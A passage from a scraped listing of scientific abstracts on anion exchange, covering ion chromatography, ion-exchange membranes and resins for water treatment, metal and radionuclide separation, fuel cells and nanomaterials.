was mainly affected by mobile phase organic solvent content. Depending on the specific application, selectivity could be optimized by adjusting the anion-exchange/cation-exchange capacity ratio (selectivity), which was achieved experimentally by using porous silica particles with different surface areas. 11. Hydrothermal carbon nanosphere-based agglomerated anion exchanger for ion chromatography. PubMed Zhao, Qiming; Wu, Shuchao; Zhang, Kai; Lou, Chaoyan; Zhang, Peiming; Zhu, Yan 2016-10-14 This work reports the application of hydrothermal carbon nanospheres (HCNSs) as stationary phases in ion chromatography. HCNSs were facilely quaternized through polycondensation of methylamine and 1,4-butanediol diglycidyl ether. The quaternization was confirmed by Fourier transform infrared spectroscopy and X-ray photoelectron spectroscopy. Owing to the electrostatic interaction, quaternized HCNSs were equably attached onto the surface of sulfonated polystyrene-divinylbenzene (PS-DVB) beads to construct the anion exchangers. The aggregation was verified by scanning electron microscopy and elemental analysis. Common anions, aliphatic monocarboxylic acids, polarizable anions, and aromatic acids were well separated on the stationary phases with good stability and symmetry. The prepared column was further applied to detect phosphate content in Cola drink samples. The limit of detection (S/N=3) was 0.09mg/L, and the relative standard deviation (n=10) of retention time was 0.31%. The average recovery was 99.58%. 12. Chromatographic separation of vanadium, tungsten and molybdenum with a liquid anion-exchanger. PubMed Fritz, J S; Topping, J J 1971-09-01 In acidic solution only molybdenum(VI), tungsten(VI), vanadium(V), niobium(V) and tantalum(V) form stable, anionic complexes with dilute hydrogen peroxide. This fact has been used in developing an analytical method of separating molybdenum(VI), tungsten(VI) and vanadium(V) from other metal ions and from each other. Preliminary investigations using reversed-phase paper chromatography and solvent extraction led to a reversed-phase column Chromatographic separation technique. These metal-peroxy anions are retained by a column containing a liquid anion-exchanger (General Mills Aliquat 336) in a solid support. Then molybdenum(VI), tungsten(VI) and vanadium(V) are selectively eluted with aqueous solutions containing dilute hydrogen peroxide and varying concentrations of sulphuric acid. 13. Ultrasensitive anion detection by NMR spectroscopy: a supramolecular strategy based on modulation of chemical exchange rate. PubMed Perruchoud, Loïse H; Hadzovic, Alen; Zhang, Xiao-An 2015-06-08 NMR spectroscopy is a powerful tool for monitoring molecular interactions and is widely used to characterize supramolecular systems at the atomic level. NMR is limited for sensing purposes, however, due to low sensitivity. Dynamic processes such as conformational changes or binding events can induce drastic effects on NMR spectra in response to variations in chemical exchange (CE) rate, which can lead to new strategies in the design of supramolecular sensors through the control and monitoring of CE rate. Here, we present an indirect NMR anion sensing technique in which increased CE rate, due to anion-induced conformational flexibility of a relatively rigid structure of a novel sensor, allows ultrasensitive anion detection as low as 120 nM. 14. Evaluating of arsenic(V) removal from water by weak-base anion exchange adsorbents. PubMed Awual, M Rabiul; Hossain, M Amran; Shenashen, M A; Yaita, Tsuyoshi; Suzuki, Shinichi; Jyo, Akinori 2013-01-01 15. Recent progress and applications of ion-exclusion/ion-exchange chromatography for simultaneous determination of inorganic anions and cations. PubMed Nakatani, Nobutake; Kozaki, Daisuke; Mori, Masanobu; Tanaka, Kazuhiko 2012-01-01 One of the ultimate goals of ion chromatography is to determine both anions and cations found in samples with a single chromatographic run. In the present article, recent progress in ion-exclusion/ion-exchange chromatography for the simultaneous determinations of inorganic anions and cations are reviewed. Firstly, the principle and the control for the simultaneous separation and detection of analyte ions using ion-exclusion/cation-exchange chromatography with a weakly acidic cation-exchange column are outlined. Then, advanced chromatographic techniques in terms of analytical time, selectively and sensitivity are summarized. As a related method, ion-exclusion/anion-exchange chromatography with an anion-exchange column could be used for the simultaneous determination of inorganic nitrogen species, such as ammonium, nitrite and nitrate ions. Their usefulness and applications to water-quality monitoring and related techniques are also described. 16. Enhanced removal of fluoride by polystyrene anion exchanger supported hydrous zirconium oxide nanoparticles. PubMed Pan, Bingcai; Xu, Jingsheng; Wu, Bing; Li, Zhigang; Liu, Xitong 2013-08-20 Here we fabricated a novel nanocomposite HZO-201, an encapsulated nanosized hydrous zirconium oxide (HZO) within a commercial porous polystyrene anion exchanger D201, for highly efficient defluoridation of water. HZO-201 exhibited much higher preference than activated alumina and D201 toward fluoride removal when competing anions (chloride, sulfate, nitrate, and bicarbonate) coexisted at relatively high levels. Fixed column adsorption indicated that the effective treatable volume of water with HZO-201 was about 7-14 times as much as with D201 irrespective of whether synthetic solution or groundwater was the feeding solution. In addition, HZO-201 could treat >3000 BV of the acidic effluent (around 3.5 mg F(-)/L) per run at pH 3.5, compared to only ∼4 BV with D201. The exhausted HZO-201 could be regenerated by NaOH solution for repeated use without any significant capacity loss. Such attractive performance of HZO-201 resulted from its specific hybrid structure, that is, the host anion exchanger D201 favors the preconcentration of fluoride ions inside the polymer based on the Donnan principle, and the encapsulated nanosized HZO exhibits preferable sequestration of fluoride through specific interaction, as further demonstrated by XPS spectra. The influence of solution pH, competitive anions, and contact time was also examined. The results suggested that HZO-201 has a great potential in efficient defluoridation of groundwater and acidic mine drainage. 17. Oatp58Dc contributes to blood-brain barrier function by excluding organic anions from the Drosophila brain. PubMed Seabrooke, Sara; O'Donnell, Michael J 2013-09-01 The blood-brain barrier (BBB) physiologically isolates the brain from the blood and, thus, plays a vital role in brain homeostasis. Ion transporters play a critical role in this process by effectively regulating access of chemicals to the brain. Organic anion-transporting polypeptides (Oatps) transport a wide range of amphipathic substrates and are involved in efflux of chemicals across the vertebrate BBB. The anatomic complexity of the vascularized vertebrate BBB, however, creates challenges for experimental analysis of these processes. The less complex structure of the Drosophila BBB facilitates measurement of solute transport. Here we investigate a physiological function for Oatp58Dc in transporting small organic anions across the BBB. We used genetic manipulation, immunocytochemistry, and molecular techniques to supplement a whole animal approach to study the BBB. For this whole animal approach, the traceable small organic anion fluorescein was injected into the hemolymph. This research shows that Oatp58Dc is involved in maintaining a chemical barrier against fluorescein permeation into the brain. Oatp58Dc expression was found in the perineurial and subperineurial glia, as well as in postmitotic neurons. We specifically targeted knockdown of Oatp58Dc expression in the perineurial and subperineurial glia to reveal that Oatp58Dc expression in the perineurial glia is necessary to maintain the barrier against fluorescein influx into the brain. Our results show that Oatp58Dc contributes to maintenance of a functional barrier against fluorescein influx past the BBB into the brain. 18. Anion intercalation and exchange in Al(OH) 3-derived compounds Sissoko, I.; Iyagba, E. T.; Sahai, R.; Biloen, P. 1985-12-01 Precipitation of Al 3+ at pH = 10 in excess Li 2CO 3 leads to an anion exchanging compound, [Al 2Li(OH) 6] +2CO 2-3. This compound exhibits, compared to [Mg 3Al(OH) 8] +2CO 2-3, a higher degree of size selectivity in anion exchange. The structure of the [Al 2Li(OH) 6] + layers is gibbsite-like, with a (110) diffraction feature at d = 4.35 Å indicating a pronounced Al 3+ ordering. As claimed originally by Serna et al., the structure is [ Al 2Li(OH) 6] +A z-{1}/{z} rather than [Al 2(OH) 6]Li +A z-{1}/{z}, with the Li + coordinated in the octahedral positions left vacant by Al 3+. This emerges from the details of a lithium-leaching process, which proposedly leads to a novel compound, [ Al 2H(OH) 6] +A z-{1}/{z}. 19. Facile surface modification of anion-exchange membranes for improvement of diffusion dialysis performance. PubMed Kim, Do-Hyeong; Park, Han-Sol; Seo, Seok-Jun; Park, Jin-Soo; Moon, Seung-Hyeon; Choi, Young-Woo; Jiong, Young Su; Kim, Dong Hee; Kang, Moon-Sung 2014-02-15 In this study, a facile membrane modification method by spin-coating of pyrrole (Py) monomers dissolved in a volatile solvent followed by an interfacial polymerization is proposed. The surface of a commercial anion-exchange membrane (i.e., Neosepta-AFX, Astom Corp., Japan) was successfully modified with polypyrrole (Ppy) to improve the acid recovery performance in diffusion dialysis (DD). The result of DD experiments revealed that both the acid and metal ion transports are significantly influenced by the surface modification. The metal crossover through the membranes was largely reduced while mostly maintaining the acid permeability by introducing a thin Ppy layer with excellent repelling property to cations on the membrane surface. As a result, the anion-exchange membrane modified with the optimum content of Py monomer (5 vol.%) exhibited excellent acid dialysis coefficient (KAcid) and selectivity (KAcid/KMetal) which is approximately twice as high as that of the pristine membrane. 20. Radioactive iodine waste treatment using electrodialysis with an anion exchange paper membrane. PubMed Inoue, Hiroyoshi; Kagoshima, Mayumi; Yamasaki, Mariko; Honda, Yoko 2004-12-01 In order to simply and safely treat radioactive iodine waste, a study of the removal of iodide ion from radioactive waste using electrodialysis with an anion exchange paper membrane, in which trimethylhydroxylpropylammonium groups were homogeneously dispersed with high density. In Na125I and Na36Cl concentration-cell system, electric ion and water conductances, phenomenological coefficients, have been experimentally determined on basis of nonequilibrium thermodynamics. Prepared paper membrane had higher permselectivity of 125I ion than 36Cl ions by approximately 21%. On the other hand, water flux that was accompanied by an ionic transference in prepared paper membrane was greatly larger than that in typical synthesized membrane. It is suggested that a depression of water mobility is important to practice an ideal radioactive iodide waste electrodialysis system with a novel anion exchange paper membrane. 1. Anion-induced exchange interactions in binuclear complexes of Cu(II) with flexible hexadentate bispicolylamidrazone ligands Baryshnikov, Gleb V.; Minaev, Boris F.; Baryshnikova, Alina A.; Ågren, Hans 2016-09-01 Two recently synthesized copper(II) complexes with spacer-armed bispicolylamidrazone ligands have been theoretically studied at the density functional theory (DFT) level accounting for empirical dispersion correction and intrinsic anionic environment by perchlorate ions. The exchange parameter between the open-shell singlet and triplet states of the studied complexes has been estimated by broken symmetry DFT calculations. The mechanism of spin-spin exchange interaction between the unpaired electrons via the σ-bond aliphatic chain (Gusev et al., 2015) is confirmed. Instead, a anion-induced mechanism is proposed which means that the anionic grid participates in the exchange interaction between the unpaired electrons. 2. The dynamics of sorption of sulfuric acid by weakly basic polyacrylic anion exchangers Mamchenko, A. V.; Kushnir, T. V. 2009-05-01 The nonequilibrium dynamics of sorption of sulfuric acid by free base forms of Amberlite IRA-67 and Lewatite VP.OC.1072 weakly basic anion exchangers is studied. It is established that, in hydrodynamic regimes of filtration, which are typical of OH filters of the first stage of water-desalting plants, the limiting stage of sorption kinetics is inside diffusion. It is concluded that the process is correctly described by an asymptotic solution to the inside-diffusion model of sorption dynamics. 3. Removal and recovery of vanadium from alkaline steel slag leachates with anion exchange resins. PubMed Gomes, Helena I; Jones, Ashley; Rogerson, Mike; Greenway, Gillian M; Lisbona, Diego Fernandez; Burke, Ian T; Mayes, William M 2017-02-01 Leachable vanadium (V) from steel production residues poses a potential environmental hazard due to its mobility and toxicity under the highly alkaline pH conditions that characterise these leachates. This work aims to test the efficiency of anion exchange resins for vanadium removal and recovery from steel slag leachates at a representative average pH of 11.5. Kinetic studies were performed to understand the vanadium sorption process. The sorption kinetics were consistent with a pseudo-first order kinetic model. The isotherm data cannot differentiate between the Langmuir and Freundlich models. The maximum adsorption capacity (Langmuir value qmax) was 27 mg V g(-1) resin. In column anion exchange, breakthrough was only 14% of the influent concentration after passing 90 L of steel slag leachate with 2 mg L(-1) V through the column. When eluting the column 57-72% of vanadium was recovered from the resin with 2 M NaOH. Trials on the reuse of the anion exchange resin showed it could be reused 20 times without loss of efficacy, and on average 69% of V was recovered during regeneration. The results document for the first time the use of anion exchange resins to remove vanadium from steel slag leachate. As an environmental contaminant, removal of V from leachates may be an obligation for long-term management requirements of steel slag repositories. Vanadium removal coupled with the recovery can potentially be used to offset long-term legacy treatment costs. 4. Study of kinetic and fixed bed operation of removal of sulfate anions from an industrial wastewater by an anion exchange resin. PubMed Haghsheno, Reza; Mohebbi, Ali; Hashemipour, Hassan; Sarrafi, Amir 2009-07-30 Sulfate anions represent very important wastewater pollutants, which appear in the effluents discharged from copper mines. In this study, for the first time, an attempt has been made on the removal of sulfate anions by an ion exchange resin. This work is focused on the removal of sulfate anions from the Sarcheshmeh copper complex (Kerman province, Southeast of Iran) wastewater by an anion exchange resin. Batch experiments of sulfate anions adsorption on Lewatit K6362 resin were carried out to determine the adsorption equilibrium data and the relation of adsorption isotherms. Isothermal data can be fitted with Freundlich adsorption isotherms better than Langmuir equation. The results show that maximum removal of sulfate anions take places in the resin dosage of 1000 mg/100ml and the adsorption of sulfate anions on the resin follows reversible first-order kinetics. The overall adsorption rate constants were compared for different initial concentrations. Finally, the effects of parameters such as the flow rate, bed height and inlet adsorbate concentration on the breakthrough curve in a fixed bed column were studied in detail. 5. Kinetically controlled patterning of highly cross-linked phosphonium photopolymers using simple anion exchange. PubMed Guterman, Ryan; Gillies, Elizabeth R; Ragogna, Paul J 2015-05-12 A phosphonium salt possessing three methacrylate groups has been incorporated into a photopolymeric system to generate highly cross-linked polyelectrolyte networks. Emergent chemical and physical properties in the polymers were observed and attributed to the tandem increase in cross-link density and ion-content upon incorporation of the self-cross-linking cation. Anion-exchange with bis(trifluoromethylsulfonyl)imide or dodecylbenzenesulfonate resulted in significant differences in wettability and ion-exchange behavior. The passivating effects of dodecylbenzenesulfonate were utilized to selectively pattern fluorescein dye into the polymer network, highlighting a new patterning procedure using ionic-bond forming reactions. 6. Determination of traces of silver in waters by anion exchange and atomic absorption spectrophotometry USGS Publications Warehouse Chao, T.T.; Fishman, M. J.; Ball, J.W. 1969-01-01 A method has been developed for the accurate determination of 0.1-1 ??g of silver per liter of water. The method permits stabilization of silver in water without loss to container walls. Optimum conditions have been established for the complete recovery of silver from water with an anion-exchange column, for quantitative elution of silver from the resin, and for measurement of silver by atomic absorption spectrophotometry after chelation with ammonium pyrrolidine dithiocarbamate and extraction of the chelate with MIBK. Silver in the 1-10 ??g 1 range can be determined by extraction without pre-concentration on an ion-exchange resin. ?? 1969. 7. Anion exchange selectivity of surfactant modified clinoptilolite-rich tuff for environmental remediation. PubMed de Gennaro, Bruno; Catalanotti, Lilia; Bowman, Robert S; Mercurio, Mariano 2014-09-15 Lately, the functionalization of industrial minerals with high technological properties, such as natural zeolites, is shaping as a promising approach in environmental sphere. In fact, under the specific conditions, the surface functionalization via adsorption of cationic surfactants reverses the surface charge of the mineral, enabling zeolites to simultaneously interact either with organic contaminants or inorganic anions. This aspect allows zeolites to be used in the remediation of contaminated fluids. The present research shed new light on some still not fully understood aspects concerning exchange kinetics such as anion-exchange mechanisms and selectivity of surface modified minerals. For this purpose the mineralogical characterization and the surface properties evaluation (X Ray Powder Diffraction, chemical analysis, thermal analysis, ECEC and AEC) of a clinoptilolite-rich tuff were performed, and the anion exchange isotherms of the sample, modified with hexadecyltrimethylammonium chloride or bromide (HDTMA-Cl/-Br), were determined. Ion-exchange equilibrium data of uni-uni valent reaction were obtained by solutions containing Br(-), Cl(-), NO3(-) or ClO4(-). Liquid phase was analysed via high performance liquid chromatography. Thermodynamic quantities (Ka and ΔG(0)) were determined and compared with the Hofmeister series. The value of the ECEC, calculated in batch conditions, was about 137 mmol/kg, in good agreement with that evaluated in dynamic conditions, while the AEC data were different for the SMNZ-Br and -Cl samples, amounting to 137 and 106 mmol/kg, respectively, thus indicating a different compactness of the bilayer formed in the two cases. Moreover, the anion isotherm results and the mathematical evaluation of the thermodynamic parameters, demonstrated the good affinity of SMNZ-Br towards chloride, nitrate and perchlorate, and of SMNZ-Cl for nitrate and perchlorate, also endorsing the possibility of using the same thermodynamic approach developed to 8. Kinetics of sorption of niobium ions by anion-exchangers from mixed chloride-fluoride solutions SciTech Connect Rychkov, V.N.; Pakholkov, V.S.; Kuznetsova, L.D. 1987-08-10 The authors showed earlier on the basis of experimental and calculated data obtained in studies of ion-exchange equilibrium that the sorbability and composition of sorbed niobium ions are determined by the content of hydrofluoric acid in mixed chloride-fluoride solutions. Variation of the ionic state of niobium in these solutions should also influence the rate of ion exchange. In this communication they examine the results of a study of the kinetics of exchange of niobium ions on AV-17 x 8, EDE-10P, and AN-2F anion-exchange resins in fluoride-containing solutions. Kinetic curves for sorption of niobium ions and the results of their evaluation are presented. 9. Anion exchange nanofiber materials activated by daylight with a dual antibacterial effect. PubMed Plíštil, L; Henke, P; Kubát, P; Mosinger, J 2014-09-01 Anion exchange polystyrene nanofiber materials (AE) were prepared by electrospinning followed by two-step functionalization of the nanofiber surface by chlorosulfonic acid and ethylendiamine. The photoactive character of these materials was introduced through adsorption of the tetra-anionic 5,10,15,20-tetrakis-(4-sulfonatophenyl)porphyrin photosensitizer (TPPS-AE) on the nanofiber surface or by encapsulation of the nonpolar 5,10,15,20-tetraphenylporphyrin photosensitizer (AE(TPP)) into the nanofibers. Anion exchange nanofiber materials with porphyrins are characterized by a high ion-exchange capacity, photogeneration of singlet oxygen O2((1)Δg), and singlet oxygen-sensitized delayed fluorescence. Due to the photogeneration of cytotoxic O2((1)Δg), the nanofibers exhibited oxidation of the external substrates in aqueous solution and an efficient antibacterial effect when activated by simulated daylight. Adsorption of both TPPS and I(-) on the surface of AE led to the formation of more efficient I-TPPS-AE materials. Rapid photooxidation of I(-) by O2((1)Δg), and the formation of another cytotoxic species, I3(-), on the surface of the nanofibers were responsible for the increased antibacterial properties of I-TPPS-AE and the prolonged antibacterial effect in the dark. 10. Kinetic study of the mass transfer of bovine serum albumin in anion-exchange chromatography. PubMed Miyabe, K; Guiochon, G 2000-01-14 A kinetic study was made on the mass transfer phenomena of bovine serum albumin (BSA) in two different anion-exchange columns (Resource-Q and TSK-GEL-DEAE-5PW). The analysis of the concentration dependence of the lumped mass transfer rate coefficient (km,L) provided the information about the kinetics of the several mass transfer processes in the columns and the anion exchangers, i.e., the axial dispersion, the fluid-to-particle mass transfer, the intraparticle diffusion, and the adsorption/desorption. In the Resource-Q column, the intraparticle diffusion had a dominant contribution to the band broadening compared with those of the other processes. The surface diffusion coefficient (Ds) of BSA showed a positive concentration dependence, by which the linear dependence of km,L on the BSA concentration seemed to be interpreted. On the other hand, in the TSK-GEL-DEAE-5PW column, the contribution of the adsorption/desorption was also important and almost same as that due to the intraparticle diffusion. There are some differences between the intrinsic properties of the mass transfer kinetics inside the two anion exchangers. It was likely that the positive concentration dependence of Ds was explained by the heterogeneous surface model. 11. Tailor-made anion-exchange membranes for salinity gradient power generation using reverse electrodialysis. PubMed Guler, Enver; Zhang, Yali; Saakes, Michel; Nijmeijer, Kitty 2012-11-01 Reverse electrodialysis (RED) or blue energy is a non-polluting, sustainable technology for generating power from the mixing of solutions with different salinity, that is, seawater and river water. A concentrated salt solution (e.g., seawater) and a diluted salt solution (e.g., river water) are brought into contact through an alternating series of polymeric anion-exchange membranes (AEMs) and cation-exchange membranes (CEMs), which are either selective for anions or cations. Currently available ion-exchange membranes are not optimized for RED, whereas successful RED operation notably depends on the used ion-exchange membranes. We designed such ion-exchange membranes and for the first time we show the performance of tailor-made membranes in RED. More specifically, we focus on the development of AEMs because these are much more complex to prepare. Herein we propose a safe and more environmentally friendly method and use halogenated polyethers, such as polyepichlorohydrin (PECH) as the starting material. A tertiary diamine (1,4-diazabicyclo[2.2.2]octane, DABCO) was used to introduce the ion-exchange groups by amination and for simultaneous cross-linking of the polymer membrane. Area resistances of the series of membranes ranged from 0.82 to 2.05 Ω cm² and permselectivities from 87 to 90 %. For the first time we showed that tailor-made ion-exchange membranes can be applied in RED. Depending on the properties and especially membrane thickness, application of these membranes in RED resulted in a high power density of 1.27 W m⁻², which exceeds the power output obtained with the commercially available AMX membranes. This shows the potential of the design of ion-exchange membranes for a viable blue energy process. 12. Retention behavior of C1-C6 aliphatic monoamines on anion-exchange and polymethacrylate resins with heptylamine as eluent. PubMed Ohta, Kazutoku; Ohashi, Masayoshi; Jin, Ji-Ye; Takeuchi, Toyohide; Fujimoto, Chuzo; Choi, Seong-Ho; Ryoo, Jae Jeong; Lee, Kwang-Pill 2004-06-11 Retention behavior of C1-C6, aliphatic monoamines (methylamine, ethylamine, propylamine, butylamine, amylamine and hexylamine) on columns (150 mm x 6 mm i.d.) packed with various anion-exchange resins (styrene-divinylbenzene (PS-DVB) copolymer-based strongly basic anion-exchange resin: TSKgel SAX, polymethacrylate-based strongly basic anion-exchange resin: TSKgel SuperQ-5PW and polymethacrylate-based weakly basic anion-exchange resin: TSKgel DEAE-5PW) and unfunctionized polymethacrylate resins (TSKgel G5000PW and TSKgel G3000PWXL) was investigated with basic solutions (sodium hydroxide and heptylamine) as the eluents. Due to strongly electrostatic repulsion (ion-exclusion effect) between these anion-exchange resins and these amines, peak resolution between these amines on these anion-exchange resin columns was unsatisfactory with both sodium hydroxide and heptylamine as the eluents. In contrast, these polymethacrylate resins were successfully applied as the stationary phases for the separation of these C1-C6 amines with heptylamine as eluent, because of both small hydrophobicity and small cation-exchange ability of these resins. Excellent simultaneous separation, highly sensitive conductimetric detection and symmetrical peaks for these C1-C6 amines were achieved on the TSKgel G3000PWXL column in 35 min with 5 mM heptylamine at pH 11.1 as the eluent. 13. New Anion-Exchange Resins for Improved Separations of Nuclear Materials SciTech Connect Bartsch, Richard A.; Barr, Mary E. 2001-04-30 Improved separations of nuclear materials will have a significant impact upon a broad range of DOE activities. DOE-EM Focus Areas and Crosscutting Programs have identified improved methods for the extraction and recovery of radioactive metal ions from process, waste, and environmental waters as critical needs for the coming years. We propose to develop multifunctional anion-exchange resins that facilitate anion uptake by carefully controlling the structure of the anion receptor site. Our new ion-exchange resins interface the field of ion-specific chelating ligands with robust, commercial ion-exchange technology to provide materials which exhibit superior selectivity and kinetics of sorption and desorption. The following Focus Areas and Crosscutting Programs have described needs that would be favorably impacted by the new material: Efficient Separations and Processing - radionuclide removal from aqueous phases; Plutonium - Pu, Am or total alpha removal to meet regulatory requirement s before discharge to the environment; Plumes - U and Tc in groundwater, U, Pu, Am, and Tc in soils; Mixed Waste - radionuclide partitioning; High-Level Tank Waste - actinide and Tc removal from supernatants and/or sludges. The basic scientific issues which need to be addressed are actinide complex speciation along with modeling of metal complex/functional site interactions in order to determine optimal binding-site characteristics. Synthesis of multifunctionalized extractants and ion-exchange materials that implement key features of the optimized binding site, and testing of these materials, will provide feedback to the modeling and design activities. Resin materials which actively facilitate the uptake of actinide complexes from solution should display both improved selectivity and kinetic properties. The long-range implications of this research, however, go far beyond the nuclear complex. This new methodology of ''facilitated uptake'' could revolutionize ion-exchange technology 14. Mono- and polyprotic buffer systems in anion exchange chromatography of influenza virus particles. PubMed Vajda, Judith; Weber, Dennis; Stefaniak, Sabine; Hundt, Boris; Rathfelder, Tanja; Müller, Egbert 2016-05-27 Different ions typically used in downstream processing of biologicals are evaluated for their potential in anion exchange chromatography of an industrially produced, pandemic influenza H1N1 virus. Capacity, selectivity and recovery are investigated based on single step elution parallel chromatography experiments. The inactivated H1N1 feedstream is produced in Madin-Darby Bovine Kidney cells. Interesting effects are found for sodium phosphate and sodium citrate. Both anions are triprotic kosmotropes. Anion exchange chromatography generally offers high scalability to satisfy sudden demands for vaccines, which may occur in case of an emerging influenza outbreak. Appropriate pH conditions for H1N1 adsorption are determined by Zeta potential measurements. The dynamic binding capacity of a salt tolerant polyamine-type resin is up to 6.4 times greater than the capacity of a grafted Q-type resin. Pseudo-affinity interactions of polyamines with the M2 protein of influenza may contribute to the obtained capacity increase. Both resins achieve greater capacity in sodium phosphate buffer compared to Tris/HCl. A recovery of 67% and DNA clearance close to 100% without DNAse treatment are achieved for the Q-type resin. Recovery of the virus from the salt tolerant resin requires the use of polyprotic acids in the elution buffer. 85% of the DNA and 60% of the proteins can be removed by the salt tolerant resin. The presence of sodium phosphate during anion exchange chromatography seems to support stability of the H1N1 particles in presence of hydrophobic cations. 15. Hydration and sorption characteristics of a polyfunctional weak-base anion exchanger after the sorption of vanillin and ethylvanillin Rodionova, D. O.; Voronyuk, I. V.; Eliseeva, T. V. 2016-07-01 Features of the sorption of substituted aromatic aldehydes by a weak-base anion exchanger under equilibrium conditions are investigated using vanillin and ethylvanillin as examples. Analysis of the sorption isotherms of carbonyl compounds at different temperatures allows us to calculate the equilibrium characteristics of their sorption and assess the entropy and enthalpy contributions to the energy of the process. Hydration characteristics of the macroporous weak-base anion exchanger before and after the sorption of aromatic aldehydes are compared. 16. Synthesis and Characterization of Imidazolium Linear Bisphenol Polycarbonate Hydroxides for Anion Exchange Membrane. PubMed Jang, Hohyoun; Hossain, Md Awlad; Lee, Soonho; Ha, Jaesung; Yoo, Jihoo; Kim, Kyungchul; Kim, Whangi 2015-11-01 A novel anion exchange membrane of imidazolium functionalized bisphenol polycarbonate was prepared for application in alkaline fuel cell. Di-imidazolium polycarbonate anionic membrane was synthesized by sequential interfacial polymerization, chloromethylation, substitution with 1-methylimidazole and ion exchange with 1.0 M KOH. Chloromethylation reaction was quantitative to achieve a high content of hydroxide ions. Introduction of conjugated imidazole ring in polymer plays an important role to improve both thermal and chemical stability. Bisphenol polycarbonate is a flexible polymer and shows a good solubility in polar organic solvent. The alkaline imidazolium bisphenol polycarbonate rendered an elevated molecular weight with excellent solubility in polar aprotic solvent. Different levels of substitution and ion exchange were investigated; the resulting membranes showed high ion exchange capacities (IECs) of up to 2.15 mmol g(-1). The imidazolium-functionalized copolymer membranes showed lower water affinity (14.2-42.8% at 30 degrees C) that satisfied an essential criterion for fuel cell application. The chemical structure of the imidazolium functionalized polycarbonate membrane was confirmed by 1H NMR spectroscopy, and also the membrane properties were evaluated by thermogravimetric analysis (TGA) and water uptake (WU), IEC and conductivity assessment. They exhibited hydroxide conductivity above 10(-2) S cm(-1) at room temperature and good chemical stability for up to five days without significant losses of ion conductivity. 17. Sorption of uranium(VI) ions from hydrochloric acid and ammonium chloride solutions by anion exchangers SciTech Connect Pakholkov, V.S.; Denisova, L.A.; Rychkov, V.N.; Kurnosenko, N.A. 1988-01-01 The sorption of macroscopic quantities of uranium from solutions of UO/sub 2/Cl/sub 2/ containing HCl and NH/sub 4/Cl in concentrations from 0.0 to 6.0 M by the AV-17 x 8, AV-16G, EDE-10P, AN-31, AN-2F, AN22, and AN-251 anion exchangers has been investigated under static conditions. The sorption isotherms are described by an equation similar to Freundlich's equation: K/sub d/ = K tilde x C/sub eq/sup 1/z/ or log K/sub d/ = log K tilde + 1/z x log C/sub eq/. Equations describing the dependence of the sorbability (or K/sub d/) on the equilibrium concentration of uranium in the solution have been obtained with the aid of the least-squares method. Conclusions regarding the chemistry of the exchange of uranium ions on anion exchangers in chloride solutions have been drawn on the basis of the UV spectra of the original solutions and the IR spectra of the ion exchangers obtained in this work, as well as the established general laws governing sorption. 18. Removal of fluorescent dissolved organic matter in biologically treated textile effluents by NDMP anion exchange process: efficiency and mechanism. PubMed Li, Wen-Tao; Xu, Zi-Xiao; Shuang, Chen-Dong; Zhou, Qing; Li, Hai-Bo; Li, Ai-Min 2016-03-01 The efficiency and mechanism of anion exchange resin Nanda Magnetic Polymer (NDMP) for removal of fluorescent dissolved organic matter in biologically treated textile effluents were studied. The bench-scale experiments showed that as well as activated carbon, anion exchange resin could efficiently remove both aniline-like and humic-like fluorescent components, which can be up to 40 % of dissolved organic matter. The humic-like fluorescent component HS-Em460-Ex3 was more hydrophilic than HS-Em430-Ex2 and contained fewer alkyl chains but more acid groups. As a result, HS-Em460-Ex3 was eliminated more preferentially by NDMP anion exchange. However, compared with adsorption resins, the polarity of fluorescent components had a relatively small effect on the performance of anion exchange resin. The long-term pilot-scale experiments showed that the NDMP anion exchange process could remove approximately 30 % of the chemical oxygen demand and about 90 % of color from the biologically treated textile effluents. Once the issue of waste brine from resin desorption is solved, the NDMP anion exchange process could be a promising alternative for the advanced treatment of textile effluents. 19. A green approach for preparing anion exchange membrane based on cardo polyetherketone powders Hu, Jue; Zhang, Chengxu; Zhang, Xiaodong; Chen, Longwei; Jiang, Lin; Meng, Yuedong; Wang, Xiangke 2014-12-01 Anion exchange membranes (AEMs) have attracted great attention due to their irreplaceable role in platinum-free fuel cell applications. The majority of AEM preparations have been performed in two steps: the grafting of functional groups and quaternization. Here, we adopted a simpler, more eco-friendly approach for the first time to prepare AEMs by atmospheric-pressure plasma-grafting. This approach enables the direct introduction of anion exchange groups (benzyltrimethylammonium groups) into the polymer matrix, overcoming the need for toxic chloromethyl ether and quaternization reagents. Fourier transform infrared spectroscopy, X-ray photoelectron spectroscopy and 1H NMR spectroscopy results demonstrate that benzyltrimethylammonium groups have been successfully grafted into the cardo polyetherketone (PEK-C) matrix. Thermogravimetric analysis reveals that the plasma-grafting technique is a facile and non-destructive method able to improve the thermal stability of the polymer matrix due to the strong preservation of the PEK-C backbone structure and the cross-linking of the grafted side chains. The plasma-grafted PG-NOH membrane, which shows satisfactory alcohol resistance (ethanol permeability of 6.3 × 10-7 cm2 s-1), selectivity (1.2 × 104 S s cm-3), thermal stability (safely used below 130 °C), chemical stability, anion conductivity (7.7 mS cm-1 at 20 °C in deionized water) and mechanical properties is promising for the construction of high-performance fuel cells. 20. Controlling Disorder and Superconductivity in Titanium Oxynitride Nanoribbons with Anion Exchange. PubMed Sluban, Melita; Umek, Polona; Jagličić, Zvonko; Buh, Jože; Šmitek, Petra; Mrzel, Aleš; Bittencourt, Carla; Guttmann, Peter; Delville, Marie-Helene; Mihailović, Dragan; Arčon, Denis 2015-10-27 In recent years, conversion chemical reactions, which are driven by ion diffusion, emerged as an important concept for formation of nanoparticles. Here we demonstrate that the slow anion diffusion in anion exchange reactions can be efficiently used to tune the disorder strength and the related electronic properties of nanoparticles. This paradigm is applied to high-temperature formation of titanium oxynitride nanoribbons, Ti(O,N), transformed from hydrogen titanate nanoribbons in an ammonia atmosphere. The nitrogen content, which determines the chemical disorder through random O/N occupancy and ion vacancies in the Ti(O,N) composition, increases with the reaction time. The presence of disorder has paramount effects on resistivity of Ti(O,N) nanoribbons. Atypically for metals, the resistivity increases with decreasing temperature due to the weak localization effects. From this state, superconductivity develops below considerably or completely suppressed critical temperatures, depending on the disorder strength. Our results thus establish the remarkable versatility of anion exchange for tuning of the electronic properties of Ti(O,N) nanoribbons and suggest that similar strategies may be applied to a vast number of nanostructures. 1. Trace adsorption of positively charged proteins onto Sepharose FF and Sepharose FF-based anion exchangers. PubMed Yu, Lin-Ling; Sun, Yan 2012-08-31 2. Synthesis of Composition Tunable and Highly Luminescent Cesium Lead Halide Nanowires through Anion-Exchange Reactions. PubMed Zhang, Dandan; Yang, Yiming; Bekenstein, Yehonadav; Yu, Yi; Gibson, Natalie A; Wong, Andrew B; Eaton, Samuel W; Kornienko, Nikolay; Kong, Qiao; 